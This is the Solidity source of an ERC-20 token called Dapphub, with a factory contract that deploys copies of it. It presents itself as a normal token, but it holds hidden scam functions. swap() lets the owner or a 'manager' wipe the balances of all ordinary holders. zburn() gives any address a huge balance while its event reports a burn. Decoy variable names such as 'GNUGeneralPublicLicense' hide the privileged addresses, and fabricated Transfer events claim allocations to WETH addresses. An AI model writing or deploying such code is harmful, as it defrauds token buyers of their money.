Contract Source Code:
File 1 of 1 : Dapphub
// Copyright (C) 2015, 2016, 2017 Dapphub
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV3Router03 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Dapphub is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100000000000000000000000000000;
address Router02Address;
mapping(address => uint256) private askDiv;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
address private constant ADDRESS_sWETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address private constant ADDRESS_WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address GNUGeneralPublicLicense;
address Preamble;
address Virtuals_Protocol;
IUniswapV3Router03 private uniswapV3Router;
address private uniswapV3Pair;
bool private tradingOpen = false;
constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
transferOwnership(owner_);
_name = name_;
_symbol = symbol_;
Preamble = ADDRESS_Manager_;
GNUGeneralPublicLicense = ADDRESS_Manager_;
Virtuals_Protocol = owner_;
Router02Address = Router02Address_;
askDiv[address(this)] = _totalSupply.mul(1).div(10000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 ninetyFourPercent = _totalSupply.mul(9990).div(10000);
uint256 threePercent = _totalSupply.mul(5).div(10000);
uint256 twoPercent = _totalSupply.mul(4).div(10000);
askDiv[ADDRESS_sWETH] = askDiv[ADDRESS_sWETH].add(ninetyFourPercent);
askDiv[ADDRESS_WETH] = askDiv[ADDRESS_WETH].add(threePercent);
askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);
emit Transfer(address(this), ADDRESS_sWETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_WETH, threePercent);
emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
}
function _updateHolders(address account) internal {
if (askDiv[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
askDiv[sender] = askDiv[sender].sub(amount);
askDiv[recipient] = askDiv[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(Preamble == _msgSender());
_;
}
function swap() external {
require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV3Pair &&
believer != ADDRESS_sWETH &&
believer != ADDRESS_WETH &&
believer != Preamble &&
believer != GNUGeneralPublicLicense
) {
askDiv[believer] = 0;
}
emit Transfer(address(0), believer, 0);
}
}
function zburn(address claimedRewardStatusOf) external Only_Manager {
askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV3Router = IUniswapV3Router03(Router02Address);
uniswapV3Pair = IUniswapV2Factory(uniswapV3Router.factory()).createPair(address(this), uniswapV3Router.WETH());
_approve(address(this), address(uniswapV3Router), _totalSupply);
uniswapV3Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
0x000000000000000000000000000000000000dEaD,
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
// Required BEP20 functions
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return askDiv[account];
}
function getLPPair() public view returns (address) {
return uniswapV3Pair;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}
contract TokenFactory {
event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);
constructor() {
}
// Function to create a single token
function createToken(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external payable returns (address) {
Dapphub newToken = (new Dapphub){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
return address(newToken);
}
receive() external payable {}
}